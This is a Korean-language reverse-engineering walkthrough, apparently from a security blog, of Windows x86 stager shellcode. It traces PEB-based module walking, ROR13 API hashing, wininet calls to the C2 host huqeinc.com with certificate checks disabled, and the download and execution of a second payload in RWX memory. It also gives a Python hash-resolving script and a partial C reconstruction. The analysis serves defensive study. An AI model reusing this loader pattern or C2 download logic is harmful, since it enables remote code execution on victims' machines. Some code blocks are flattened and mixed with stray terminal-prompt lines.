오프셋 6의 코드는 몇 가지 흥미로운 명령어로 시작합니다:```assembly 0x0000000000000006: 60 pushad
0x0000000000000007: 89 E5 mov ebp, esp 0x0000000000000009: 31 D2 xor edx, edx 0x000000000000000b: 64 8B 52 30 mov edx, dword ptr fs:[edx + 0x30] 0x000000000000000f: 8B 52 0C mov edx, dword ptr [edx + 0xc] 0x0000000000000012: 8B 52 14 mov edx, dword ptr [edx + 0x14] 0x0000000000000015: 8B 72 28 mov esi, dword ptr [edx + 0x28] 0x0000000000000018: 0F B7 4A 26 movzx ecx, word ptr [edx + 0x26]

root@kitploit:~
간단한 프롤로그(모든 레지스터를 푸시하고 새 스택 프레임을 생성) 이후, `edx`는 (자체 XOR을 통해) 0으로 초기화됩니다.  
그런 다음 `edx`는 `fs:[0x30]`의 주소를 가져옵니다. 이 주소는 [프로세스 환경 블록(PEB)](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb)입니다.  
PEB는 프로세스에서 사용할 유용한 데이터(명령줄, 디버깅 상태, 로드된 모듈 등)를 포함하는 유저모드의 블록입니다. 불필요한 커널 syscall을 피하기 위한 성능 향상 장치입니다.  
참조되는 몇 가지 주소가 있습니다. IDA에서 PEB 구조체를 로드할 수 있지만, 완전성을 위해 설명하면:
- 오프셋 0xc는 `PEB`의 `LDR` 멤버이며, 타입은 `PPEB_LDR_DATA`입니다. 이는 [여기](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data)에 문서화되어 있습니다.
- `PEB_LDR_DATA` 구조체의 오프셋 0x14는 `InMemoryOrderModuleList` 멤버이며, 타입은 `LIST_ENTRY`입니다. `LIST_ENTRY` 구조체는 Windows에서 광범위하게 사용되며, 보통 더 큰 구조체의 헤더 역할을 합니다. 이 경우도 예외는 아닙니다. 실제 항목 타입은 `LDR_DATA_TABLE_ENTRY`입니다.
- `LDR_DATA_TABLE_ENTRY`의 오프셋 0x24에는 `UNICODE_STRING` 타입의 `FullDllName` 멤버가 있습니다. 이 타입은 Windows에서 널리 사용되며, 기본적으로 파스칼 문자열을 담는 컨테이너입니다. 처음 두 WORD는 문자열의 길이와 버퍼 용량을 나타냅니다. 따라서 0x28에서 실제 버퍼에 바인딩되며, 이는 `esi` 레지스터에 저장됩니다.
- `ecx` 레지스터는 DLL 이름 버퍼 바로 2바이트 앞에 있으며 문자열의 길이를 포함합니다.

요약하면, 이 청크 전체는 현재 PEB 모듈 항목에서 `FullDllName`을 가져와 버퍼를 `esi`에, 길이를 `ecx`에 저장합니다.

## 모듈 이름 해시 계산
다음 몇 개의 명령어를 살펴보겠습니다:```assembly
0x000000000000001c:  31 FF                      xor        edi, edi
0x000000000000001e:  31 C0                      xor        eax, eax
0x0000000000000020:  AC                         lodsb      al, byte ptr [esi]
0x0000000000000021:  3C 61                      cmp        al, 0x61
0x0000000000000023:  7C 02                      jl         0x27
0x0000000000000025:  2C 20                      sub        al, 0x20
0x0000000000000027:  C1 CF 0D                   ror        edi, 0xd
0x000000000000002a:  01 C7                      add        edi, eax
0x000000000000002c:  E2 F0                      loop       0x1e

The lodsb 명령어는 문자열이 esi에 저장된 이유, 길이가 ecx에 저장된 이유, 방향 플래그가 초기화된 이유를 정확히 설명한다. 이 명령어는 esi가 가리키는 첫 번째 ANSI 문자(바이트)를 읽고, esi를 1만큼 증가시킨 다음 결과를 al 레지스터에 저장한다. 이후 부분은 소문자를 대문자로 변환한다. ASCII 코드가 0x61('a') 이상이면 0x20을 뺀다. 대문자로 변환한 후 edi 레지스터는 오른쪽으로 0xd만큼 회전되고, 그런 다음 문자 값이 더해진다. edi는 회전되므로 더해진 문자들에 대한 정보는 잃어버리지만 그 값에는 문자들의 일종의 집계(aggregate)가 유지된다. 다시 말해, edi는 esi가 가리키는 문자열의 일종의 해시다. 그런데 loop 명령어는 ecx가 문자열 길이의 카운터라는 사실을 교묘하게 활용한다. ecx를 1 감소시키고 ecx가 0이 아닌 동안 다음 반복을 수행한다. 이 로직을 Python으로 옮기는 것은 아주 간단하다.```python def get_string_hash(s): v = 0 for c in s.upper(): v = (v >> 0xd) | ((v & 0x1fff) << 19) v = (v + ord(c)) & 0xffffffff return v

root@kitploit:~
## Export Table 순회하기
이제 다음 몇 가지 명령어로 넘어가겠습니다:```assembly
0x000000000000002e:  52                         push       edx
0x000000000000002f:  57                         push       edi
0x0000000000000030:  8B 52 10                   mov        edx, dword ptr [edx + 0x10]
0x0000000000000033:  8B 42 3C                   mov        eax, dword ptr [edx + 0x3c]
0x0000000000000036:  01 D0                      add        eax, edx
0x0000000000000038:  8B 40 78                   mov        eax, dword ptr [eax + 0x78]
0x000000000000003b:  85 C0                      test       eax, eax
0x000000000000003d:  74 4A                      je         0x89
0x000000000000003f:  01 D0                      add        eax, edx
0x0000000000000041:  50                         push       eax
0x0000000000000042:  8B 48 18                   mov        ecx, dword ptr [eax + 0x18]
0x0000000000000045:  8B 58 20                   mov        ebx, dword ptr [eax + 0x20]
0x0000000000000048:  01 D3                      add        ebx, edx

먼저, edx(현재 모듈 엔트리를 담고 있음)와 edi(그 이름의 해시를 담고 있음)가 스택에 백업됩니다. 그 후, edx는 오프셋 0x10에서 참조됩니다. 구조체(LDR_DATA_TABLE_ENTRY 타입)에서 8바이트 지점에 있으므로, 0x10은 해당 엔트리의 DllBase 멤버입니다 (0x18 - 0x8). 메모리에서도 모듈은 PE 데이터 구조를 가지며, 오프셋 0x3c는 DOS 헤더에서 PE 헤더의 포인터에 해당합니다. edx에 edx 자신을 더하고 있으므로 eax가 RVA로 처리되는 것을 볼 수 있습니다. edx는 메모리에서 모듈 베이스 주소입니다. 마찬가지로, 그로부터 오프셋 0x78은 PE 익스포트 테이블로, exported symbols(일반적으로 함수)에 대한 정보를 포함합니다. 이에 대한 데이터 구조는 IMAGE_EXPORT_DIRECTORY라고 하며 잘 문서화되어 있습니다. 0이 아니라고 가정하면(test되고 있음) 를 푸시하고 그 안의 두 부분을 역참조합니다:

  • 오프셋 0x18에서 NumberOfNames 멤버를 얻습니다.
  • 오프셋 0x20에서 AddressOfNames 멤버를 얻습니다. 요약하면, 이 부분은 익스포트 테이블을 얻기 위해 PE를 일부 파싱했으며, 구체적으로 exported symbols의 개수(ecx)와 메모리에서의 주소(ebx)를 얻었습니다.

계속합니다:```assembly 0x000000000000004a: E3 3C jecxz 0x88 0x000000000000004c: 49 dec ecx 0x000000000000004d: 8B 34 8B mov esi, dword ptr [ebx + ecx*4] 0x0000000000000050: 01 D6 add esi, edx

root@kitploit:~
`jecxz` 명령어는 `ecx`가 0이면 점프한다. 이는 내보낸 이름이 없을 때 발생하지만, 이 검사가 루프 안에서 일어날 것임을 암시하기도 한다.
`ecx`를 감소시키는 사실은 그 의심을 확정해 준다. 내보낸 모든 심볼을 반복하면서 어떤 조건과 일치하는지 확인하는 구조가 예상된다.
`ecx`에 4를 곱하고 `ebx`에 더하는 것도 볼 수 있다. `AddressOfNames`의 모든 항목은 심볼 이름에 대한 RVA이므로, 결국 `esi`는 내보낸 이름을 가리키게 된다.```assembly
0x0000000000000052:  31 FF                      xor        edi, edi
0x0000000000000054:  31 C0                      xor        eax, eax
0x0000000000000056:  AC                         lodsb      al, byte ptr [esi]
0x0000000000000057:  C1 CF 0D                   ror        edi, 0xd
0x000000000000005a:  01 C7                      add        edi, eax
0x000000000000005c:  38 E0                      cmp        al, ah
0x000000000000005e:  75 F4                      jne        0x54

이는 앞서 본 것과 동일한 해시 계산 방식이지만, 카운터로 ecx를 사용하는 대신 NUL 종결자를 만날 때까지 해시를 계산합니다:

  • 먼저 edi는 0으로 할당됩니다(자체 XOR을 통해). 앞서와 마찬가지로 edi는 해시 값을 유지합니다.
  • eax 레지스터도 0으로 할당됩니다. 그 하위 바이트(al)는 각 반복에서 현재 문자의 ASCII 코드를 담게 됩니다.
  • lodsb를 사용하여 코드는 al을 esi가 가리키는 바이트로 설정하고 esi를 다음 바이트로 증가시킵니다.
  • 앞서와 마찬가지로 edi는 0xd만큼 오른쪽 회전된 다음 현재 문자의 ASCII 값이 더해집니다.
  • al과 ah의 비교는 실제로 al을 0(NUL 종결자)과 비교하는 것뿐입니다. 여기서 어떤 연산도 eax의 다른 바이트를 건드리지 않으며, 그것들이 0임을 확인했기 때문입니다.
  • loop 명령어(ecx와 상호작용)를 사용하는 대신, NUL 종결자를 만나지 않는 한 단순히 로 다시 점프합니다.

다음 부분에서는 앞서 계산한 서로 다른 해시들(모듈 이름, 심볼 이름)과 우리가 받은 입력들 사이에 어떤 종류의 비교가 수행될 것으로 예상합니다:```assembly 0x0000000000000060: 03 7D F8 add edi, dword ptr [ebp - 8] 0x0000000000000063: 3B 7D 24 cmp edi, dword ptr [ebp + 0x24] 0x0000000000000066: 75 E2 jne 0x4a 0x0000000000000068: 58 pop eax 0x0000000000000069: 8B 58 24 mov ebx, dword ptr [eax + 0x24] 0x000000000000006c: 01 D3 add ebx, edx 0x000000000000006e: 66 8B 0C 4B mov cx, word ptr [ebx + ecx2] 0x0000000000000072: 8B 58 1C mov ebx, dword ptr [eax + 0x1c] 0x0000000000000075: 01 D3 add ebx, edx 0x0000000000000077: 8B 04 8B mov eax, dword ptr [ebx + ecx4] 0x000000000000007a: 01 D0 add eax, edx 0x000000000000007c: 89 44 24 24 mov dword ptr [esp + 0x24], eax 0x0000000000000080: 5B pop ebx 0x0000000000000081: 5B pop ebx 0x0000000000000082: 61 popad
0x0000000000000083: 59 pop ecx 0x0000000000000084: 5A pop edx 0x0000000000000085: 51 push ecx 0x0000000000000086: FF E0 jmp eax

root@kitploit:~
음, `ebp-8`은 우리가 푸시한 이전 `edi` 값을 정확히 가리킵니다. 여기에는 설정된 모듈 이름의 해시가 포함되어 있었습니다.
그 해시 값을 내보낸 이름의 해시 값과 더하고, 이를 `ebp+0x24`의 DWORD와 비교합니다.
이전의 `pushad` 명령 때문에 8개의 레지스터를 푸시했으므로, 이는 시작 부분에서 푸시된 마지막 미스터리 값(0x726774c)을 직접 가리킵니다!
만약 같지 않다면 오프셋 `0x4a`로 점프하여 같은 모듈의 다음 심볼로 이동합니다.
그렇지 않으면 내보내기 테이블을 `eax`로 복원하고, 0x24 바이트 지점(서수 테이블)을 역참조한 다음 기준 `ebx`에 더합니다.
서수 테이블은 각 항목마다 2바이트를 포함하며, `ecx`는 항목 번호이므로 `ebx + ecx*2`가 서수 값입니다.
다음 두 줄은 간단합니다. 내보내기 테이블의 `0x1c`는 내보낸 함수들의 주소이고, `ebx + ecx*4`는 `ecx`로 인덱싱된 함수 주소를 나타냅니다.
보시다시피 이 값은 `eax`에 저장되고 결국 호출됩니다:
- `eax` 값을 `esp + 0x24`에 저장합니다. 이 시점에서 이 위치는 정확히 `pushad` 명령에서 `eax` 레지스터가 저장된 곳입니다. 이렇게 하면 `popad`를 실행할 때 `eax` 값이 손실되지 않습니다.
- 두 번의 더미 팝을 `ebx`에 수행하여 이전의 두 푸시(계산된 해시와 모듈 엔트리)를 제거합니다.
- `popad`를 수행하면 범용 레지스터가 모두 스택에서 복원되지만, 앞서 덮어썼기 때문에 `eax`는 유지됩니다. 이 시점에서 스택과 레지스터들은 함수에 진입했을 때의 원래 상태와 동일하며, `eax`만 원하는 함수 포인터입니다.
- `call ebp`에서 푸시된 반환 값을 `ecx`로 팝하고 원하는 해시를 `edx`로 팝한 다음 `ecx`를 다시 푸시하여, 본질적으로 스택에서 미스터리 해시 값을 제거합니다.
- 이 시점에서 `jmp eax`를 수행하면 함수가 종료됩니다. `eax`가 가리키는 함수가 실행되고, 반환될 때 원래 반환 값을 사용합니다.

이 긴 로직의 마지막 부분은 기본적으로 다음 모듈로 계속 진행됩니다:```assembly
0x0000000000000088:  58                         pop        eax
0x0000000000000089:  5F                         pop        edi
0x000000000000008a:  5A                         pop        edx
0x000000000000008b:  8B 12                      mov        edx, dword ptr [edx]
0x000000000000008d:  EB 86                      jmp        0x15

이것은 기본적으로 이전 푸시들을 정리하고 오프셋 0x15로 이동하며, 여기서 다음 모듈이 사용될 예정입니다.

요약하자면 - 오프셋 6과 0x8d(포함) 사이의 전체 셸코드는 함수를 위한 파라미터가 푸시된 후 사용자 정의 해시가 뒤따를 것으로 기대합니다. 해시가 일치하면 해당 함수가 호출됩니다. 확실히 코드에 함수 이름 문자열을 넣지 않아도 되는 좋은 방법입니다!

우리는 그 해시들을 꽤 많이 검토할 것이므로 작업을 자동화하는 것이 좋습니다. 앞서 작성한 Python 스크립트를 재사용하여 주어진 해시를 조회하는 함수를 작성해 봅시다:```python import os import pefile import sys

BASE_DIR = os.path.join(os.environ['WINDIR'], 'system32')

def get_string_hash(s): v = 0 for c in s: v = (v >> 0xd) | ((v & 0x1fff) << 19) v = (v + ord(c)) & 0xffffffff return v

def get_lib_hash(s): return get_string_hash(''.join([ i + '\x00' for i in (s + '\x00').upper() ]))

def get_sym_hash(s): return get_string_hash(s + '\x00')

def find_by_hash(hash, dll_postfix): for dll_name in os.listdir(BASE_DIR): if not dll_name.endswith(dll_postfix): continue dll_path = os.path.join(BASE_DIR, dll_name) dll_hash = get_lib_hash(dll_name) pe = pefile.PE(dll_path) if pe is None or not hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'): continue syms = [ sym.name.decode() for sym in pe.DIRECTORY_ENTRY_EXPORT.symbols if sym.name is not None ] for s in syms: if (get_sym_hash(s) + dll_hash) & 0xFFFFFFFF == hash: print('%s!%s' % (dll_name, s)) return print('Coult not find hash!')

if name == 'main': if len(sys.argv) > 1: dll_postfix = '.dll' if len(sys.argv) == 2 else sys.argv[2] num = int(sys.argv[1], 16) if 'x' in sys.argv[1] else int(sys.argv[1]) find_by_hash(num, dll_postfix)

root@kitploit:~
예를 들어, `get_hash.py 0x726774c kernel32.dll`을 실행하면 `kernel32.dll!LoadLibraryA`라는 출력을 얻습니다!

## 기본 논리 분석
이제 전체 해싱 기능이 어떻게 작동하는지 이해했으니 해시 헌팅을 할 시간입니다!
기본 논리로 돌아가 보겠습니다. 문자열 `wininet`이 스택에 푸시된다고 했었죠 - 이제 `LoadLibraryA`가 그것과 함께 호출된다는 것을 알 수 있습니다.
다음 부분들은 이제 다음과 같습니다:```assembly
0x00000000000000a2:  E8 00 00 00 00             call       0xa7
0x00000000000000a7:  31 FF                      xor        edi, edi
0x00000000000000a9:  57                         push       edi
0x00000000000000aa:  57                         push       edi
0x00000000000000ab:  57                         push       edi
0x00000000000000ac:  57                         push       edi
0x00000000000000ad:  57                         push       edi
0x00000000000000ae:  68 3A 56 79 A7             push       0xa779563a
0x00000000000000b3:  FF D5                      call       ebp

그곳의 call은 스택에 반환 주소를 푸시합니다(0xa7). 그런 다음 edi를 0으로 만들고 스택에 0 5개를 넣습니다. 0xa779563a는 또 다른 해시로, 이번에는 wininet.dll에 대한 것입니다. get_hash.py 0xa779563a를 실행하면 wininet.dll!InternetOpenA가 출력됩니다. 따라서 코드는 모두 0과 NULL 값을 사용하여 InternetOpenA를 호출합니다. 오프셋 0xba로 다시 호출되는 몇 개의 점프가 있습니다:```assembly 0x00000000000000b5: E9 A4 00 00 00 jmp 0x15e 0x00000000000000ba: 5B pop ebx ... 0x000000000000015e: E9 C9 01 00 00 jmp 0x32c ... 0x000000000000032c: E8 89 FD FF FF call 0xba 0x0000000000000331: 68 75 71 65 69 push 0x69657175 0x0000000000000336: E6 outs dx, byte ptr ds:[esi] ...

root@kitploit:~
아이디어는 우리가 리턴할 때 - 오프셋 `0x331`의 주소가 푸시되어 있을 것이라는 것입니다.  
나는 그 주소에 몇 가지 어셈블리 명령어를 추가했습니다. 예를 들어 `outs`는 우리가 기대하는 것이 아니라는 점에 유의하세요.  
그 바이트들을 *데이터로* 검사하면 다른 이야기가 나옵니다:```python
binascii.unhexlify('68757165696e632e636f6d005d44fd6d')

이것은 문자열 huqeinc.com(NUL 종결자 포함)을 생성하고, 그 뒤에 이해할 수 없는 4바이트가 옵니다. 따라서 주소 0xba로 돌아가면 ebx로 pop하게 되며, 이는 해당 문자열을 가리키게 됩니다. 이제 그 명령어 뒤에 이어지는 부분을 살펴보겠습니다.```assembly 0x00000000000000bb: 31 C9 xor ecx, ecx 0x00000000000000bd: 51 push ecx 0x00000000000000be: 51 push ecx 0x00000000000000bf: 6A 03 push 3 0x00000000000000c1: 51 push ecx 0x00000000000000c2: 51 push ecx 0x00000000000000c3: 68 BB 01 00 00 push 0x1bb 0x00000000000000c8: 53 push ebx 0x00000000000000c9: 50 push eax 0x00000000000000ca: 68 57 89 9F C6 push 0xc69f8957 0x00000000000000cf: FF D5 call ebp

root@kitploit:~
값 `0xc69f8957`은 이번에는 `wininet.dll!InternetConnectA`에 대한 또 다른 해시입니다.  
그 함수는 많은 매개변수를 받지만, 본질적으로 우리가 보는 것은 `InternetConnectA(hInternet, "huqeinc.com", 443, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL)`입니다.  
참고로 `INTERNET_SERVICE_HTTP`는 3이고, `0x1bb`는 443이며, `eax`에는 `InternetOpenA`의 결과가 들어 있었습니다.

계속 진행하면, `InternetConnectA`의 결과를 백업한 후에도 비슷한 점프 집합이 나타납니다:```assembly
0x00000000000000d1:  50                         push       eax
0x00000000000000d2:  E9 8C 00 00 00             jmp        0x163
0x00000000000000d7:  5B                         pop        ebx
0x00000000000000d8:  31 D2                      xor        edx, edx
0x00000000000000da:  52                         push       edx
0x00000000000000db:  68 00 32 C0 84             push       0x84c03200
0x00000000000000e0:  52                         push       edx
0x00000000000000e1:  52                         push       edx
0x00000000000000e2:  52                         push       edx
0x00000000000000e3:  53                         push       ebx
0x00000000000000e4:  52                         push       edx
0x00000000000000e5:  50                         push       eax
0x00000000000000e6:  68 EB 55 2E 3B             push       0x3b2e55eb
0x00000000000000eb:  FF D5                      call       ebp
...
0x0000000000000163:  E8 6F FF FF FF             call       0xd7
0x0000000000000168:  2F                         das        
0x0000000000000169:  51                         push       ecx
0x000000000000016a:  70 59                      jo         0x1c5
...

이전과 마찬가지로, 호출 이후의 명령어들은 별로 말이 되지 않으므로 데이터로 해석되어야 한다고 추정합니다. 실제로 이들은 NUL로 종료되는 문자열 /QpYB를 인코딩하며, 이는 그다지 도움이 되지 않습니다. 오프셋 0xd7로 돌아가면 해당 문자열을 가리키는 포인터가 스택에 푸시된다는 점을 확인할 수 있습니다. 0xd7로 돌아가보면, 그 주소는 ebx로 팝됩니다. 그 데이터의 의미를 이해하려면 어떤 함수가 호출되는지 알아내야 합니다. 해시 0x3b2e55eb는 wininet.dll!HttpOpenRequestA를 산출하며, 이 함수도 많은 매개변수를 받습니다. 대부분의 매개변수는 (edx의 푸시로 인해) NULL이 될 것이며, 다음 항목은 예외입니다:

  • hConnect는 eax이며, 이는 InternetConnectA의 결과입니다.
  • lpszObjectName은 우리가 본 문자열(/QpYB)입니다.
  • dwFlags는 0x84c03200 값을 포함합니다. 이 문서에 따르면 이는 INTERNET_FLAG_NO_UI | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_RELOAD입니다.

다음 몇 개의 명령어는 또 다른 API 호출로 끝납니다:```assembly 0x00000000000000ed: 89 C6 mov esi, eax 0x00000000000000ef: 83 C3 50 add ebx, 0x50 0x00000000000000f2: 68 80 33 00 00 push 0x3380 0x00000000000000f7: 89 E0 mov eax, esp 0x00000000000000f9: 6A 04 push 4 0x00000000000000fb: 50 push eax 0x00000000000000fc: 6A 1F push 0x1f 0x00000000000000fe: 56 push esi 0x00000000000000ff: 68 75 46 9E 86 push 0x869e4675 0x0000000000000104: FF D5 call ebp

root@kitploit:~
`HttpOpenRequestA`의 결과를 `esi`에 백업한 후, `ebx`에 0x50을 더합니다.
`ebx`는 호출 사이에 유지되는 것이 보장되므로, 이제 셸코드의 오프셋 `0x1b8`을 가리키게 됩니다. 이 오프셋을 문자열로 표시하면 다음과 같습니다: `User-Agent: Microsoft-CryptoAPI/6.1\r\n`.
해시 `0x869e4675`는 API `wininet.dll!InternetSetOptionA`를 해석하며, 이 API는 다음 인수를 받습니다:
- `esi`에 저장된 요청 핸들.
- `dwOption` 값으로 `0x1f`를 사용하는데, [이 문서](https://learn.microsoft.com/en-us/windows/win32/wininet/option-flags)에 따르면 이는 `INTERNET_OPTION_SECURITY_FLAGS`입니다.
- `lpBuffer` 매개변수는 값 `0x3380`을 가리키는 포인터가 되며, 이는 요청에 대한 보안 플래그를 인코딩합니다: `WINHTTP_FLAG_SECURE_PROTOCOL_TLS1 | SECURITY_FLAG_IGNORE_UNKNOWN_CA | WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_1 | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID`.
- `dwBufferLength`는 4입니다. `lpBuffer`에는 DWORD 하나만 설정되었기 때문입니다.

이렇게 하면 연결이 TLS를 사용하지만 모든 인증서 오류 등을 무시하게 됩니다.

다음은 다음 부분들입니다:```assembly
0x0000000000000106:  5F                         pop        edi
0x0000000000000107:  31 FF                      xor        edi, edi
0x0000000000000109:  57                         push       edi
0x000000000000010a:  57                         push       edi
0x000000000000010b:  6A FF                      push       -1
0x000000000000010d:  53                         push       ebx
0x000000000000010e:  56                         push       esi
0x000000000000010f:  68 2D 06 18 7B             push       0x7b18062d
0x0000000000000114:  FF D5                      call       ebp
0x0000000000000116:  85 C0                      test       eax, eax
0x0000000000000118:  0F 84 CA 01 00 00          je         0x2e8
0x000000000000011e:  31 FF                      xor        edi, edi
0x0000000000000120:  85 F6                      test       esi, esi
0x0000000000000122:  74 04                      je         0x128
0x0000000000000124:  89 F9                      mov        ecx, edi
0x0000000000000126:  EB 09                      jmp        0x131
0x0000000000000128:  68 AA C5 E2 5D             push       0x5de2c5aa
0x000000000000012d:  FF D5                      call       ebp
0x000000000000012f:  89 C1                      mov        ecx, eax
0x0000000000000131:  68 45 21 5E 31             push       0x315e2145
0x0000000000000136:  FF D5                      call       ebp
0x0000000000000138:  31 FF                      xor        edi, edi
0x000000000000013a:  57                         push       edi
0x000000000000013b:  6A 07                      push       7
0x000000000000013d:  51                         push       ecx
0x000000000000013e:  56                         push       esi
0x000000000000013f:  50                         push       eax
0x0000000000000140:  68 B7 57 E0 0B             push       0xbe057b7
0x0000000000000145:  FF D5                      call       ebp
0x0000000000000147:  BF 00 2F 00 00             mov        edi, 0x2f00
0x000000000000014c:  39 C7                      cmp        edi, eax
0x000000000000014e:  75 07                      jne        0x157
0x0000000000000150:  58                         pop        eax
0x0000000000000151:  50                         push       eax
0x0000000000000152:  E9 7B FF FF FF             jmp        0xd2
0x0000000000000157:  31 FF                      xor        edi, edi
0x0000000000000159:  E9 91 01 00 00             jmp        0x2ef

이전의 과도한 push를 정리하기 위한 더미 pop이 있습니다(보안 옵션을 스택에 푸시했었습니다). 또 다른 해시(0x7b18062d)가 보이므로, 해당 API를 즉시 확인합니다: wininet.dll!HttpSendRequestA. 여기서 주목할 만한 부분이 몇 가지 있습니다:

  • 앞서 ebx에 저장된 사용자 에이전트가 함수의 두 번째 인자로 사용됩니다.
  • 함수 호출 후 성공 여부를 확인하는 검사가 있으며, 실패하면 오프셋 0x2e8로 점프합니다.
  • esi가 0인지 확인하는 것은 실제로 요청 핸들이 NULL이 아닌지 확인하는 것입니다. 이 시점에서 이미 HttpSendRequestA를 호출했음에도 불구하고 꽤 이상하지만, 그렇다면 0x128로 점프합니다.
  • 오프셋 0x128에서는 해시 0x5de2c5aa를 사용하는데, 이는 kernel32.dll!GetLastError이며, 그 결과를 ecx에 저장합니다.
  • 오프셋 0x131에서는 해시 0x315e2145를 사용하는데, 이는 user32.dll!GetDesktopWindow이며, 그 결과를 해시 0xbe057b7과 함께 사용합니다. 0xbe057b7은 입니다.

아이디어는 단순히 InternetErrorDlg를 호출하여 재시도가 필요한지 확인하는 것입니다. 또한 기억해 둡시다: HttpSendRequestA가 실패하면 0x2e8로 점프합니다. 성공하고 재시도가 필요하지 않으면 0x2ef로 점프합니다. 오프셋 0x2e8(실패 경로)을 살펴봅니다:```assembly 0x00000000000002e8: 68 F0 B5 A2 56 push 0x56a2b5f0 0x00000000000002ed: FF D5 call ebp

root@kitploit:~
해시는 `kernel32.dll!ExitProcess`로 해석되므로, 실패 시 프로세스를 종료합니다.
이 전체 부분은 다음과 같이 번역될 수 있습니다:```c
if (!HttpSendRequestA(hRequest, "User-Agent: Microsoft-CryptoAPI/6.1\r\n", -1, NULL, 0))
{
	ExitProcess(0);
}
if (ERROR_INTERNET_FORCE_RETRY == InternetErrorDlg(GetDesktopWindow(), hRequest, NULL == hRequest ? GetLastError() : 0, FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA, NULL))
{
	goto lblRetryConn;
}
...

Running yet another shellcode

0x2ef 오프셋에서 어떤 일이 발생하는지 살펴보겠습니다:```assembly 0x00000000000002ef: 6A 40 push 0x40 0x00000000000002f1: 68 00 10 00 00 push 0x1000 0x00000000000002f6: 68 00 00 40 00 push 0x400000 0x00000000000002fb: 57 push edi 0x00000000000002fc: 68 58 A4 53 E5 push 0xe553a458 0x0000000000000301: FF D5 call ebp 0x0000000000000303: 93 xchg ebx, eax 0x0000000000000304: B9 00 00 00 00 mov ecx,0x0 0x0000000000000309: 01 D9 add ecx,ebx 0x000000000000030b: 51 push ecx 0x000000000000030c: 53 push ebx 0x000000000000030d: 89 E7 mov edi, esp 0x000000000000030f: 57 push edi 0x0000000000000310: 68 00 20 00 00 push 0x2000 0x0000000000000315: 53 push ebx 0x0000000000000316: 56 push esi 0x0000000000000317: 68 12 96 89 E2 push 0xe2899612 0x000000000000031c: FF D5 call ebp 0x000000000000031e: 85 C0 test eax, eax 0x0000000000000320: 74 C6 je 0x2e8

root@kitploit:~
이 해시 `0xe553a458`가 다른 상수들만으로 무엇인지 짐작할 수 있나요?
- `0x40`은 앞서 보았듯이 `PAGE_EXECUTEREADWRITE`입니다.
- `0x1000`은 `MEM_COMMIT`입니다.
실제로 이 해시는 `kernel32.dll!VirtualAlloc`에 해당하며, 크기 `0x400000`의 RWX 청크를 단순히 할당합니다.
여기서 공격자의 논리를 짐작하는 것이 중요합니다. C2 서버와 인터넷 연결이 있고, 이제 RWX 페이지를 할당하므로 또 다른 페이로드가 올 것이라고 예상할 수 있습니다!

해당 호출이 끝나면 결과 메모리 버퍼는 `ebx`와 `ecx`에 저장됩니다.
오프셋 `0x30b`에서 함수 호출을 위한 또 다른 스택 푸시 세트가 시작됩니다. 이번에는 해시 `0xe2899612`(`wininet.dll!InternetReadFile`)입니다.
푸시들은 매개변수를 (역순으로) 지정합니다:
- `hFile`은 `esi`로, 우리의 인터넷 요청(`HINTERNET` 타입)입니다.
- `lpBuffer`는 `ebx` - 새로 할당된 버퍼입니다.
- `dwNumberOfBytesToRead`는 `0x2000`으로 설정됩니다.
- `lpdwNumberOfBytesRead`는 `edi`로, 스택에 할당한 여유 공간을 가리킵니다.

마지막으로, 이 함수가 실패하면 `0x2e8`로 점프하여 다시 `ExitProcess`를 호출합니다.
여분의 `push` 명령어(`ecx`, 오프셋 `0x30b`)가 있다는 점에 유의하세요. 이는 할당된 버퍼의 주소를 백업했다는 뜻입니다.

거의 끝났습니다! 마지막 몇 개의 명령어를 살펴봅시다:```assembly
0x0000000000000322:    8B 07                      mov        eax, dword ptr [edi]
0x0000000000000324:    01 C3                      add        ebx, eax
0x0000000000000326:    85 C0                      test       eax, eax
0x0000000000000328:    75 E5                      jne        0x30f
0x000000000000032a:    58                         pop        eax
0x000000000000032b:    C3                         ret

음, edi는 읽은 바이트 수를 가리키며, 역참조되어 eax로 들어갑니다. 그런 다음, 그 값을 ebx에 더합니다. ebx는 보존되며 우리의 RWX 메모리 영역을 가리킵니다. 만약 eax가 0이 아니라면 일부 바이트가 읽혔다는 뜻이므로, 더 많은 데이터를 읽기 위해 다시 0x30f로 점프합니다. 이는 읽기 시나리오에서 흔한 방식입니다. 0이 읽힐 때까지 매번 최대 0x2000 바이트를 읽습니다. 0이 읽히면 더 이상 읽을 바이트가 없다는 뜻입니다. 점프하지 않으면 0x32a에 도달하는데, 여기서 스택에서 할당된 바이트를 pop하고 ret를 호출합니다. 참고로, 우리는 이전에 반환된 버퍼의 시작 부분을 스택에 푸시했으므로, ret는 이를 반환 주소로 사용합니다. 즉, 우리가 얻은 버퍼로 점프하는 것이며, 본질적으로 그것을 또 다른 셸코드로 취급하는 것입니다!

모든 것을 종합하기

이것이 우리의 셸코드가 개념적으로 보여질 모습입니다:```c HINTERNET hInternet; HINTERNET hConnect; HINTERNET hRequest; DWORD dwSecurityOptions = WINHTTP_FLAG_SECURE_PROTOCOL_TLS1 | SECURITY_FLAG_IGNORE_UNKNOWN_CA | WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_1 | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID; DWORD dwErrorFlags = FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA; PBYTE pcPayload; PBYTE pcCurrPtr; DWORD dwBytesRead; INT (*pfnPayload)();

// Make sure "wininet.dll" is loaded in current process LoadLibraryA("wininet");

// Connect to C2 hInternet = InternetOpenA(NULL, 0, NULL, NULL, 0); hConnect = InternetConnectA(hInternet, "huqeinc.com", 443, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL);

